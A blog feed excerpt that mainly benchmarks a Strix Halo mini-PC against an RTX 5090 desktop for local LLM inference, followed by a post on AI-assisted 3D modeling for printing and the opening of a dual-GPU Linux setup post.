<p>The chip is the AMD Ryzen AI Max+ 395: 16 cores / 32 threads Zen 5, with an integrated Radeon 8060S iGPU and 128GB of unified LPDDR5X. In the BIOS, I set the UMA Frame Buffer Size to 96GB, which leaves ~30GB of RAM for the operating system and containers. Plus the kernel parameters for TTM (without them, ROCm only sees 15.5GB even with the BIOS allocation in place).</p>
<p>The operating system is openSUSE MicroOS (more on that in the <a href="/en/2026/03/31/migrating-my-home-server-with-claude-code/">next post</a>). The whole machine pulls under 100W, which is absurd if you&rsquo;re used to dedicated GPUs that draw 450W+ on their own.</p>
<h2>Minisforum vs my desktop: benchmarks<span class="hx:absolute hx:-mt-20" id="minisforum-vs-my-desktop-benchmarks"></span>
    <a href="#minisforum-vs-my-desktop-benchmarks" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>I ran a <a href="https://github.com/akitaonrails/homelab-docs/tree/master/benchmarks"target="_blank" rel="noopener">set of benchmarks</a> comparing the Minisforum against my desktop (AMD 7950X3D, 96GB DDR5, RTX 5090 32GB GDDR7). The results are clear.</p>
<h3>CPU<span class="hx:absolute hx:-mt-20" id="cpu"></span>
    <a href="#cpu" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><table>
  <thead>
      <tr>
          <th>Test</th>
          <th>7950X3D</th>
          <th>AI Max+ 395</th>
          <th>Winner</th>
      </tr>
  </thead>
  <tbody>
      <tr>
          <td>Prime sieve (single-core)</td>
          <td>0.021s</td>
          <td>0.018s</td>
          <td>Strix Halo +14%</td>
      </tr>
      <tr>
          <td>Float pi (single-core)</td>
          <td>1.335s</td>
          <td>1.706s</td>
          <td>7950X3D +28%</td>
      </tr>
      <tr>
          <td>Multi-core sieve (32 threads)</td>
          <td>0.181s</td>
          <td>0.118s</td>
          <td>Strix Halo +53%</td>
      </tr>
      <tr>
          <td>SHA-256 throughput</td>
          <td>2.714 MB/s</td>
          <td>2.488 MB/s</td>
          <td>7950X3D +9%</td>
      </tr>
      <tr>
          <td>AES-256-CBC throughput</td>
          <td>1.613 MB/s</td>
          <td>1.410 MB/s</td>
          <td>7950X3D +14%</td>
      </tr>
  </tbody>
</table>
<p>Mixed results. The AI Max+ 395 is better at pure parallelism (multi-core sieve), probably thanks to lower latency in the unified memory architecture. The 7950X3D wins at float and crypto because of its higher clocks and the 3D V-Cache.</p>
<h3>LLM inference (models that fit on both)<span class="hx:absolute hx:-mt-20" id="llm-inference-models-that-fit-on-both"></span>
    <a href="#llm-inference-models-that-fit-on-both" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><p>This is where it gets interesting. For models that fit in the 32GB of the RTX 5090, the comparison is purely about memory bandwidth:</p>
<table>
  <thead>
      <tr>
          <th>Model</th>
          <th>Size</th>
          <th>RTX 5090 (tok/s)</th>
          <th>Strix Halo (tok/s)</th>
          <th>5090 advantage</th>
      </tr>
  </thead>
  <tbody>
      <tr>
          <td>phi4</td>
          <td>9.1 GB</td>
          <td>155.1</td>
          <td>23.2</td>
          <td>6.7x</td>
      </tr>
      <tr>
          <td>qwen3:14b</td>
          <td>9.3 GB</td>
          <td>138.9</td>
          <td>22.6</td>
          <td>6.1x</td>
      </tr>
      <tr>
          <td>phi4-reasoning</td>
          <td>11.1 GB</td>
          <td>130.2</td>
          <td>19.1</td>
          <td>6.8x</td>
      </tr>
      <tr>
          <td>qwen3:32b</td>
          <td>20.2 GB</td>
          <td>66.9</td>
          <td>10.0</td>
          <td>6.7x</td>
      </tr>
  </tbody>
</table>
<p>The RTX 5090 is ~7x faster. The explanation is simple: GDDR7 has ~1,792 GB/s of bandwidth. LPDDR5X has ~256 GB/s. The ratio (7x) lines up almost exactly with the measured speed difference (6.7x). LLM inference is a problem dominated by memory bandwidth. Whoever reads weights faster, generates tokens faster.</p>
<h3>And what about prompt processing?<span class="hx:absolute hx:-mt-20" id="and-what-about-prompt-processing"></span>
    <a href="#and-what-about-prompt-processing" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><table>
  <thead>
      <tr>
          <th>Model</th>
          <th>RTX 5090 (tok/s)</th>
          <th>Strix Halo (tok/s)</th>
          <th>5090 advantage</th>
      </tr>
  </thead>
  <tbody>
      <tr>
          <td>phi4</td>
          <td>~1,933</td>
          <td>~212</td>
          <td>9.1x</td>
      </tr>
      <tr>
          <td>qwen3:14b</td>
          <td>~1,474</td>
          <td>~155</td>
          <td>9.5x</td>
      </tr>
      <tr>
          <td>qwen3:32b</td>
          <td>~767</td>
          <td>~68</td>
          <td>11.3x</td>
      </tr>
  </tbody>
</table>
<p>Prompt processing is even worse: 7-11x slower. That makes sense, because the prompt has to be processed in full before generating the first token, and it&rsquo;s an even more bandwidth-intensive operation.</p>
<h3>Where the Strix Halo wins: large models<span class="hx:absolute hx:-mt-20" id="where-the-strix-halo-wins-large-models"></span>
    <a href="#where-the-strix-halo-wins-large-models" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><p>Now we get to the reason I bought this PC. Models that don&rsquo;t fit in the RTX 5090:</p>
<table>
  <thead>
      <tr>
          <th>Model</th>
          <th>Size</th>
          <th>Strix Halo (tok/s)</th>
          <th>Notes</th>
      </tr>
  </thead>
  <tbody>
      <tr>
          <td>gpt-oss:20b</td>
          <td>13.8 GB MXFP4</td>
          <td>48.9</td>
          <td>MoE, faster than expected</td>
      </tr>
      <tr>
          <td>qwen3.5:35b</td>
          <td>23.9 GB</td>
          <td>43.2</td>
          <td>MoE, only ~4B active params</td>
      </tr>
      <tr>
          <td>qwen3-coder-next</td>
          <td>51.7 GB</td>
          <td>29.5</td>
          <td>MoE, 50GB+</td>
      </tr>
      <tr>
          <td>qwen3.5:122b</td>
          <td>81.4 GB Q4_K_M</td>
          <td>19.2</td>
          <td>122B params, MoE</td>
      </tr>
      <tr>
          <td>glm-4.7-flash:bf16</td>
          <td>59.9 GB</td>
          <td>17.9</td>
          <td>Full precision bf16</td>
      </tr>
      <tr>
          <td>qwen2.5:72b</td>
          <td>47.4 GB Q4_K_M</td>
          <td>4.5</td>
          <td>Dense 72B, bandwidth-limited</td>
      </tr>
  </tbody>
</table>
<p>qwen3.5:122b with 81GB of weights running at 19 tok/s. On a mini-PC. That&rsquo;s simply not possible on an RTX 5090. On the NVIDIA card, that model would have to offload layers to system RAM, dropping to 2-3 tok/s. In practice, unusable.</p>
<p>The difference between MoE and dense models is brutal. qwen3.5:35b runs at 43 tok/s because, despite having 35B total parameters, only ~4B are active per token. A dense 72B model like qwen2.5:72b has to read 40GB+ of weights per token, and at 256 GB/s of bandwidth, the theoretical maximum is ~6.7 tok/s. The 4.5 measured represent ~67% efficiency, which is what you&rsquo;d expect for an iGPU (overhead from shared bus and drivers).</p>
<h3>Summary: when to use which machine<span class="hx:absolute hx:-mt-20" id="summary-when-to-use-which-machine"></span>
    <a href="#summary-when-to-use-which-machine" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><table>
  <thead>
      <tr>
          <th>Use case</th>
          <th>Best machine</th>
      </tr>
  </thead>
  <tbody>
      <tr>
          <td>Interactive chat/coding (models &lt;32GB)</td>
          <td>RTX 5090 (6-7x faster)</td>
      </tr>
      <tr>
          <td>Large models (50GB+)</td>
          <td>Strix Halo (only option)</td>
      </tr>
      <tr>
          <td>Dense 70B+ models</td>
          <td>Strix Halo (only option)</td>
      </tr>
      <tr>
          <td>Full-precision bf16</td>
          <td>Strix Halo (only option)</td>
      </tr>
      <tr>
          <td>Batch processing with long context</td>
          <td>Strix Halo (more VRAM for KV cache)</td>
      </tr>
      <tr>
          <td>API serving with low latency</td>
          <td>RTX 5090 (sub-150ms TTFT)</td>
      </tr>
  </tbody>
</table>
<h3>A ROCm bug that&rsquo;s still around<span class="hx:absolute hx:-mt-20" id="a-rocm-bug-thats-still-around"></span>
    <a href="#a-rocm-bug-thats-still-around" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><p>Not everything works. Models like deepseek-r1:70b, llama3.3:70b and llama4:scout crash with a ggml bug (<code>GGML_ASSERT(ggml_nbytes(src0) &lt;= INT_MAX) failed</code>). The embedding tensor of these models exceeds 2GB and the ROCm copy kernel uses a 32-bit integer for the size. On CUDA (NVIDIA) it&rsquo;s already been fixed, but on ROCm it hasn&rsquo;t. Waiting for the fix in Ollama 0.20.0+.</p>
<h2>LPDDR5X vs GDDR7: why this difference exists<span class="hx:absolute hx:-mt-20" id="lpddr5x-vs-gddr7-why-this-difference-exists"></span>
    <a href="#lpddr5x-vs-gddr7-why-this-difference-exists" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>The next question is: why is LPDDR5X so much slower?</p>
<p>GDDR7 is dedicated GPU memory. It&rsquo;s soldered onto the graphics card, connected by a wide bus (384 or 512 bits on the RTX 5090) at high clocks. Its only job is to feed data to the GPU. LPDDR5X is unified memory that serves everything: the operating system, applications, and the GPU all at once. The bus is narrower and shared.</p>
<p>In practice: GDDR7 delivers ~1,792 GB/s dedicated to the GPU. LPDDR5X delivers ~256 GB/s that still need to be split between CPU and GPU. LLM inference is basically &ldquo;read all the model weights from memory, multiply by the current token, generate the next token, repeat.&rdquo; Whoever reads faster, generates faster. There&rsquo;s no shortcut.</p>
<p>The Strix Halo&rsquo;s advantage isn&rsquo;t speed. It&rsquo;s capacity. 96GB of VRAM in a 100W chip that costs a fraction of a professional GPU. The RTX 5090 is 7x faster, but it&rsquo;s stuck at 32GB. Models that don&rsquo;t fit, don&rsquo;t run.</p>
<h2>The alternatives: who else does this?<span class="hx:absolute hx:-mt-20" id="the-alternatives-who-else-does-this"></span>
    <a href="#the-alternatives-who-else-does-this" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>If 96GB isn&rsquo;t enough or you want more speed, the options are limited.</p>
<p>The Framework Desktop uses the same AI Max+ 395 chip with up to 128GB of RAM. Same platform, same performance, but with the differential of being modular and repairable (it&rsquo;s Framework, after all). In practice it&rsquo;s equivalent to the Minisforum on specs and price.</p>
<p>Above that, the alternative is a Mac Studio with M3 Ultra. The M3 Ultra chip supports up to 512GB of unified memory, with ~819 GB/s of bandwidth (more than 3x the Strix Halo). Apple manufactures the memory chips on the package, so latency and bandwidth are superior. You could potentially allocate ~400GB as VRAM and run models that don&rsquo;t fit anywhere outside of professional GPU servers.</p>
<p>Apple&rsquo;s internal NVMe is also another level: ~7.4 GB/s of sequential read on the M3 Ultra, compared with ~14 GB/s on the Crucial T700 (PCIe 5.0). The T700 is faster on raw throughput, but Apple&rsquo;s NVMe latency tends to be lower on random I/O thanks to the SoC integration.</p>
<table>
  <thead>
      <tr>
          <th>Spec</th>
          <th>Minisforum MS-S1 Max</th>
          <th>Mac Studio M3 Ultra (max)</th>
      </tr>
  </thead>
  <tbody>
      <tr>
          <td>Max RAM</td>
          <td>128 GB LPDDR5X</td>
          <td>512 GB unified</td>
      </tr>
      <tr>
          <td>Allocatable VRAM</td>
          <td>~96 GB</td>
          <td>~400 GB</td>
      </tr>
      <tr>
          <td>Memory bandwidth</td>
          <td>~256 GB/s</td>
          <td>~819 GB/s</td>
      </tr>
      <tr>
          <td>CPU</td>
          <td>Zen 5, 16C/32T</td>
          <td>Apple M3 Ultra, 32C</td>
      </tr>
      <tr>
          <td>GPU compute</td>
          <td>ROCm (gfx1151, experimental)</td>
          <td>Metal (mlx, mature)</td>
      </tr>
      <tr>
          <td>Power draw</td>
          <td>~100W</td>
          <td>~135W</td>
      </tr>
      <tr>
          <td>NVMe</td>
          <td>PCIe 5.0 (standard slot)</td>
          <td>Custom Apple (~7.4 GB/s)</td>
      </tr>
      <tr>
          <td>Price (US)</td>
          <td>~$1,500-2,000</td>
          <td>~$9,999 (512GB config)</td>
      </tr>
      <tr>
          <td>Estimated price (Brazil)</td>
          <td>~R$ 12,000-15,000</td>
          <td>~R$ 110,000+ (imported)</td>
      </tr>
  </tbody>
</table>
<p>The Brazilian price is the elephant in the room. The Mac Studio&rsquo;s max config costs $9,999 in the US. With import taxes (~60% + state ICMS), it goes past R$ 110,000. The Minisforum with 128GB lands at R$ 12,000-15,000. A nearly 8x price gap buys you a lot.</p>
<p>If you need more than 96GB of VRAM for truly enormous models (DeepSeek-V3 with 671B parameters fits in ~400GB Q4, for example), the Mac Studio with 512GB is the only consumer option. The alternative would be professional NVIDIA A6000 GPUs (48GB VRAM, ~$6,000 each, and you&rsquo;d need several in NVLink). For everything that fits in 96GB, the Minisforum gets the job done at a fraction of the cost.</p>
<h2>And projects that promise to run big LLMs on small GPUs?<span class="hx:absolute hx:-mt-20" id="and-projects-that-promise-to-run-big-llms-on-small-gpus"></span>
    <a href="#and-projects-that-promise-to-run-big-llms-on-small-gpus" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>There&rsquo;s a concept called &ldquo;layer offloading&rdquo; that projects like llama.cpp already support. The idea: if the model doesn&rsquo;t fit fully in VRAM, keep some layers on the GPU and the rest in system RAM. The GPU processes the layers it has, hands off to the CPU to process the rest, and back.</p>
<p>In practice, it doesn&rsquo;t work well. The bottleneck is PCIe: transfer speed between system RAM and GPU VRAM is ~32 GB/s (PCIe 5.0 x16). Each generated token needs to transfer data back and forth. The result is that you drop from 150 tok/s (everything in VRAM) to 2-8 tok/s (partial offload). It&rsquo;s too slow for interactive use.</p>
<p>VRAM is the fundamental limitation because LLM inference is memory-bandwidth-bound, not compute-bound. The GPU has compute to spare. What&rsquo;s missing is the ability to read the model weights fast enough. When part of the weights live in system RAM through PCIe, the entire pipeline waits on the transfer.</p>
<p>That&rsquo;s why unified memory (like in the Strix Halo or Apple Silicon) makes a difference. There&rsquo;s no PCIe in the middle. CPU and GPU access the same physical memory. The Strix Halo&rsquo;s 256 GB/s is slow compared to GDDR7, but it&rsquo;s 8x faster than offloading through PCIe.</p>
<h2>Advances in LLM optimization (up to 2026)<span class="hx:absolute hx:-mt-20" id="advances-in-llm-optimization-up-to-2026"></span>
    <a href="#advances-in-llm-optimization-up-to-2026" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>To understand why some models run so much better than others on the Strix Halo, you have to understand what&rsquo;s changed in the ecosystem over the last two years.</p>
<h3>Mixture of Experts (MoE)<span class="hx:absolute hx:-mt-20" id="mixture-of-experts-moe"></span>
    <a href="#mixture-of-experts-moe" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><p>If you run local models, MoE is the advance that matters most. An MoE model has high total parameters (e.g. 122B in qwen3.5:122b), but only activates a fraction of them per token (e.g. ~4B). The inactive weights stay in VRAM but aren&rsquo;t read on every token, which drastically reduces the bandwidth needed.</p>
<p>In the Strix Halo benchmarks, MoE models run 3-10x faster than dense models of the same size. qwen3.5:35b (MoE, ~4B active) runs at 43 tok/s while qwen2.5:72b (dense, 72B active) runs at 4.5 tok/s.</p>
<h3>DeepSeek and training optimization<span class="hx:absolute hx:-mt-20" id="deepseek-and-training-optimization"></span>
    <a href="#deepseek-and-training-optimization" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><p>DeepSeek V3 (December 2024) showed that it was possible to train 671B parameter models at a cost an order of magnitude lower than predicted. They combined MoE with FP8 quantization during training (not just inference), multi-stage training with curriculum learning, and several inter-GPU communication optimizations. The impact: everyone copied. Qwen, GLM, MiniMax, all of them adopted variations of the technique.</p>
<h3>Quantization: from FP16 to Q4 without losing much<span class="hx:absolute hx:-mt-20" id="quantization-from-fp16-to-q4-without-losing-much"></span>
    <a href="#quantization-from-fp16-to-q4-without-losing-much" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><p>Quantization compresses model weights from 16 bits (FP16) to smaller formats: 8 bits (Q8), 4 bits (Q4), or even 2 bits. A 70B model that would take ~140GB in FP16 fits in ~40GB at Q4_K_M. Quality loss exists, but in modern formats (GGUF Q4_K_M, AWQ, EXL2) it&rsquo;s small enough for practical use.</p>
<p>GGUF (the llama.cpp format) became the standard for local inference. AWQ and GPTQ are alternatives with more sophisticated calibration, but the ecosystem converged on GGUF because it works on CPU, CUDA and ROCm without recompilation.</p>
<h3>Distillation: smaller models that know more<span class="hx:absolute hx:-mt-20" id="distillation-smaller-models-that-know-more"></span>
    <a href="#distillation-smaller-models-that-know-more" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><p>Distillation is training a small model using the responses of a large model as the teacher. Microsoft&rsquo;s Phi-4 (14B) was trained with distillation from GPT-4 and competes with 70B models on several benchmarks. Qwen3 did the same: qwen3:14b is surprisingly capable for its size.</p>
<h3>Flash Attention and optimized KV Cache<span class="hx:absolute hx:-mt-20" id="flash-attention-and-optimized-kv-cache"></span>
    <a href="#flash-attention-and-optimized-kv-cache" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><p>Flash Attention (Tri Dao, 2022) changed how attention is computed: instead of materializing the full attention matrix in memory, it processes in blocks keeping the data in the GPU&rsquo;s on-chip SRAM, reducing memory consumption from O(n²) to O(n). Without that, contexts of 128K+ tokens would be impractical. It already went through versions 2 and 3, with optimizations for FP8 and async operations on H100. PagedAttention (vLLM, UC Berkeley) did the same for the KV cache during serving: applies virtual memory concepts to the cache, eliminating fragmentation and improving throughput by 2-4x.</p>
<p>In Ollama, I set <code>OLLAMA_FLASH_ATTENTION=1</code> and <code>OLLAMA_KV_CACHE_TYPE=q8_0</code> on the server. The first activates flash attention, the second uses 8-bit KV cache instead of fp16, cutting the bandwidth needed per token in half. These are zero-hardware-cost optimizations that improve throughput measurably.</p>
<h3>What Qwen, Kimi, MiniMax and GLM are doing<span class="hx:absolute hx:-mt-20" id="what-qwen-kimi-minimax-and-glm-are-doing"></span>
    <a href="#what-qwen-kimi-minimax-and-glm-are-doing" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><p>Qwen (Alibaba) has consistently been the best price/performance in open source models. Qwen3:14b is dense and strong; Qwen3.5:122b is MoE and runs surprisingly well in 96GB. GLM-4.7 (Zhipu AI) is notable for offering bf16 full precision versions that fit in 96GB. MiniMax experimented with long contexts (up to 4M tokens). Kimi (Moonshot AI) focused on large context windows with linear architectures.</p>
<h3>What runs well in 96GB of VRAM<span class="hx:absolute hx:-mt-20" id="what-runs-well-in-96gb-of-vram"></span>
    <a href="#what-runs-well-in-96gb-of-vram" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><p>With 96GB on the Strix Halo, the models that work well for daily use:</p>
<table>
  <thead>
      <tr>
          <th>Model</th>
          <th>Size</th>
          <th>tok/s</th>
          <th>Use</th>
      </tr>
  </thead>
  <tbody>
      <tr>
          <td>qwen3.5:35b</td>
          <td>24 GB</td>
          <td>43.2</td>
          <td>General purpose, excellent</td>
      </tr>
      <tr>
          <td>qwen3-coder-next</td>
          <td>52 GB</td>
          <td>29.5</td>
          <td>Code, MoE</td>
      </tr>
      <tr>
          <td>qwen3.5:122b</td>
          <td>81 GB</td>
          <td>19.2</td>
          <td>Heavy but usable</td>
      </tr>
      <tr>
          <td>glm-4.7-flash:bf16</td>
          <td>60 GB</td>
          <td>17.9</td>
          <td>Full precision</td>
      </tr>
      <tr>
          <td>qwen2.5-coder:32b</td>
          <td>20 GB</td>
          <td>10.2</td>
          <td>Code, dense</td>
      </tr>
      <tr>
          <td>deepseek-r1:32b</td>
          <td>20 GB</td>
          <td>7.4</td>
          <td>Reasoning</td>
      </tr>
  </tbody>
</table>
<p>Dense 70B+ models (deepseek-r1:70b, llama3.3:70b) are still blocked by the ROCm bug I mentioned. When it gets fixed, they should run at ~4-6 tok/s, usable for batch but not for interactive chat.</p>
<h2>Conclusion<span class="hx:absolute hx:-mt-20" id="conclusion"></span>
    <a href="#conclusion" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>I bought the Minisforum to run models that don&rsquo;t fit in any gaming GPU. For that, it works. It&rsquo;s not fast. 19 tok/s on a 122B model isn&rsquo;t the experience you get with Claude or ChatGPT. But it&rsquo;s local, it&rsquo;s private, and it runs on my shelf consuming less power than an old lightbulb.</p>
<p>For people asking about the Mac Studio: if you have the budget, it&rsquo;s the best machine for running local LLMs. 512GB of unified memory, 819 GB/s of bandwidth, mature Metal/mlx ecosystem. You can run DeepSeek-V3 in full Q4. But in Brazil, with import duties, it crosses R$ 110k. The Minisforum with 128GB at R$ 12-15k is the realistic option.</p>
<p>And for people who think you can work around the VRAM limitation with layer offloading: you can&rsquo;t. PCIe is too slow. The model has to fit fully in VRAM for inference to be usable. It&rsquo;s the reason gaming GPUs with 32GB of ultra-fast GDDR7 are still capped on model size, and why the unified memory of the Strix Halo and Apple Silicon changed the equation.</p>
<p>In the <a href="/en/2026/03/31/migrating-my-home-server-with-claude-code/">next post</a> I tell the story of how I migrated the entire home server to the Minisforum using Claude Code, the problems I ran into, and how openSUSE MicroOS behaves as a Docker server operating system.</p>
]]></content:encoded><category>hardware</category><category>local-models</category><category>performance</category><category>reviews</category></item><item><title>AI 3D: Can You Actually Model 3D With Prompts Now?</title><link>https://akitaonrails.github.io/en/2026/01/23/ai-3d-can-you-actually-model-3d-with-prompts-now/</link><guid isPermaLink="true">https://akitaonrails.github.io/en/2026/01/23/ai-3d-can-you-actually-model-3d-with-prompts-now/</guid><pubDate>Fri, 23 Jan 2026 12:13:58 -0300</pubDate><description>&lt;p&gt;A few days ago I wrote a post about using Blender with local AIs through Blender MCP. The conclusion was that quality was bad.&lt;/p&gt;
&lt;p&gt;I jumped to that conclusion too early. Open source options still vary a lot in quality, most aren&amp;rsquo;t great, but the commercial options are very good and quite stable. I&amp;rsquo;m not going to list everything out there, so here are my two YouTube channel recommendations to stay up to date:&lt;/p&gt;</description><content:encoded><![CDATA[<p>A few days ago I wrote a post about using Blender with local AIs through Blender MCP. The conclusion was that quality was bad.</p>
<p>I jumped to that conclusion too early. Open source options still vary a lot in quality, most aren&rsquo;t great, but the commercial options are very good and quite stable. I&rsquo;m not going to list everything out there, so here are my two YouTube channel recommendations to stay up to date:</p>
<ul>
<li><a href="https://www.youtube.com/@PixelArtistry_"target="_blank" rel="noopener"><strong>PixelArtistry_</strong></a></li>
<li><a href="https://www.youtube.com/channel/UCRW08KcTVjXEmBzBsVl7XjA"target="_blank" rel="noopener"><strong>Stefan 3D AI Lab</strong></a></li>
</ul>
<p>In practice, there are several ComfyUI workflows to play with, like this tutorial showing how to use the <a href="https://www.youtube.com/watch?v=H7gqMnK7wUc"target="_blank" rel="noopener">recently released Trellis2 model</a> from Microsoft. It doesn&rsquo;t work perfectly like in the video every time. It depends heavily on the image you feed it. In my tests I only got deformed &ldquo;blobs&rdquo;.</p>
<p>But on the commercial side, there are 3 tools worth signing up for:</p>
<ul>
<li><a href="https://3d.hunyuanglobal.com/"target="_blank" rel="noopener">Hunyuan Global</a>, by Tencent. There&rsquo;s the Chinese platform - which is more complete - and the global English version which is more limited. With it you can create 3D models from images with exceptional quality.</li>
<li><a href="https://www.hitem3d.ai/home"target="_blank" rel="noopener">Hitem3D</a> - competes with Hunyuan, also excellent for generating 3D models from images. Worth testing both because depending on the images you feed them, one may turn out better than the other.</li>
<li><a href="https://yvo3d.com/"target="_blank" rel="noopener">Yvo3D</a> - one of the pricier ones, but specifically for generating high-quality textures, it seems to be the best by far.</li>
</ul>
<p>There are plenty of other platforms and to stay current there&rsquo;s the site <a href="https://www.top3d.ai/"target="_blank" rel="noopener"><strong>Top3D.ai</strong></a> with a ranking of the best tools. Most of them usually have free plans, trials, or similar, so it&rsquo;s worth testing as many as you can. The pricing isn&rsquo;t &ldquo;expensive&rdquo; if you&rsquo;re a professional using this for client work. It&rsquo;s only expensive for guys like me, who use it as a hobby.</p>
<p>Some others worth testing are Hyper3D Rodin, Tripo AI, Prism, and SAM 3D. The YouTube channels I recommended have videos about them, so at least go watch those.</p>
<h3>The Ace Up the Sleeve: Nano Banana<span class="hx:absolute hx:-mt-20" id="the-ace-up-the-sleeve-nano-banana"></span>
    <a href="#the-ace-up-the-sleeve-nano-banana" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><p>The big trick for any platform, open source or commercial, is starting with high-quality images. Images from Google Images, or your badly taken photos, will always result in bad 3D models.</p>
<p>To clean up images, the easiest way is to go to <a href="https://gemini.google/br/overview/image-generation/?hl=pt-BR"target="_blank" rel="noopener"><strong>Google Nano Banana</strong></a>. It&rsquo;s by far the best AI platform for editing and generating images.</p>
<p>As an example, I decided to start from an image my girlfriend commissioned from an artist on <strong>Fiverr</strong> that we turned into stickers for our arcade. This image:</p>
<p><img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/20260123123341_TOMIKO_NAGAI%20left.png" alt="arcade original left"  loading="lazy" /></p>
<p>The first thing I asked Nano Banana was to remove the background and isolate just the character. It&rsquo;s the kind of thing that used to require Photoshop. Look how it turns out now:</p>
<p><img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/20260123123457_no-background.png" alt="arcade no background"  loading="lazy" /></p>
<p>(ignore that it&rsquo;s mirrored, I was too lazy to grab the right image.)</p>
<p>Anyway, that&rsquo;s still not enough to generate 3D. Specifically for generating character models, the ideal is to have images in <strong>&ldquo;T-Pose&rdquo;</strong>, meaning the person standing upright with arms spread out like Jesus. And having photos from exactly the front, back, left, and right.</p>
<p>And you can ask Nano Banana to do exactly that: <em>&ldquo;generate a front photo of this character in T-Pose, for 3D modeling&rdquo;</em> and it generates this:</p>
<p><img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/20260123124015_front.png" alt="t-pose front"  loading="lazy" /></p>
<p>Half the job is done at this step. Without this you can&rsquo;t generate good models. Now just ask it to generate the other angles, like the back:</p>
<p><img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/20260123124004_back.png" alt="t-pose back"  loading="lazy" /></p>
<p>Same thing, images from the left angle, the right, and done. At least 4 <strong>consistent, coherent, clean</strong> images.</p>
<h2>Hunyuan Global<span class="hx:absolute hx:-mt-20" id="hunyuan-global"></span>
    <a href="#hunyuan-global" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Now comes the simple part. Just pick Hunyuan or Hitem3D. In this case, I picked Hunyuan:</p>
<p><a href="https://3d.hunyuanglobal.com/"target="_blank" rel="noopener"><img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/20260123124227_screenshot-2026-01-23_12-42-16.png" alt="Hunyuan Generate"  loading="lazy" /></a></p>
<p>Just pick the new 3.0 version model and generate with 1.5 million polygons (yes, it&rsquo;s quite heavy, but you can just remesh afterwards) and optionally generate textures (knowing upfront that Hunyuan isn&rsquo;t great with textures).</p>
<p><img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/20260123124359_screenshot-2026-01-18_13-35-13.png" alt="Hunyuan model"  loading="lazy" /></p>
<p>And look at the result. Perfect! As is, it&rsquo;s already usable. Like I said, it&rsquo;s not great with textures, but since my goal for this test was to print on my 3D printer, I didn&rsquo;t worry about textures.</p>
<p>Opening it in Blender, I can apply a remesh modifier to lower the polygon resolution and convert everything into quads, and it ends up like this:</p>
<p><img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/20260123124605_screenshot-2026-01-18_13-46-35.png" alt="Blender model"  loading="lazy" /></p>
<p>And right off the bat I tried to print it and out it came:</p>
<p><img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/20260123124749_20260123_124442.png" alt="Bambulab 3d Print"  loading="lazy" /></p>
<p>I was particularly impressed by the details: nothing crooked, nothing out of place, hands with 5 fingers, correct proportions, perfect face details, perfect hair.</p>
<blockquote>
  <p>Think about this: I went from nothing, to AI, to a physical 3D print!</p>

</blockquote>
<p>And now that I have this model, I can send it to <a href="https://www.mixamo.com/#/"target="_blank" rel="noopener"><strong>Adobe Mixamo</strong></a>, which is an online tool to reuse pre-made poses.</p>
<p><a href="https://www.mixamo.com/#/"target="_blank" rel="noopener"><img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/20260123124934_screenshot-2026-01-18_14-12-07.png" alt="mixamo pose"  loading="lazy" /></a></p>
<p>I can upload my model, calibrate the armature/skeleton, and put it in whatever pose I want. Here&rsquo;s an example:</p>
<p><img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/20260123125208_screenshot-2026-01-23_12-51-46.png" alt="model sitting"  loading="lazy" /></p>
<p>In Blender I can calibrate the weight of parts of the mesh and other details to improve the pose, but 80% of the work is already done automatically. With this I can do animations and much more.</p>
<p>So yes, 3D modeling is already a reality with AI. There are dozens of tools for different use cases and specialties, like texture generation, skeletons, animation.</p>
<p>The main thing: start with a good foundation using Nano Banana like I said, that&rsquo;s the main trick to make everything else work properly. And keep an eye on Tencent: Hunyuan is the most interesting model.</p>
<p>On the open source side there&rsquo;s small Hunyuan to run locally and now Trellis2. Also keep an eye on new workflows that use both together in ComfyUI.</p>
<p>On my end, for doing simple things I want to 3D print on my Bambulab X1C, this is already more than excellent!</p>
]]></content:encoded><category>generative-media</category><category>hardware</category></item><item><title>Omarchy 3: Dual GPU Setup with AMD and NVIDIA</title><link>https://akitaonrails.github.io/en/2026/01/21/omarchy-3-dual-gpu-setup-with-amd-and-nvidia/</link><guid isPermaLink="true">https://akitaonrails.github.io/en/2026/01/21/omarchy-3-dual-gpu-setup-with-amd-and-nvidia/</guid><pubDate>Wed, 21 Jan 2026 15:29:35 -0300</pubDate><description>&lt;p&gt;Another post just so I don&amp;rsquo;t forget these details when configuring &lt;a href="https://omarchy.org/"target="_blank" rel="noopener"&gt;Omarchy&lt;/a&gt;:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Hyprland doesn&amp;rsquo;t play nice with NVIDIA&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;You can use it. But there are several little problems, particularly with &lt;a href="https://github.com/basecamp/omarchy/issues/1147"target="_blank" rel="noopener"&gt;Hyprlock&lt;/a&gt;, and particularly with DPMS where I leave my computer idle, it locks itself, and after a timeout turns off the monitors to save power, avoid burn-in, etc.&lt;/p&gt;
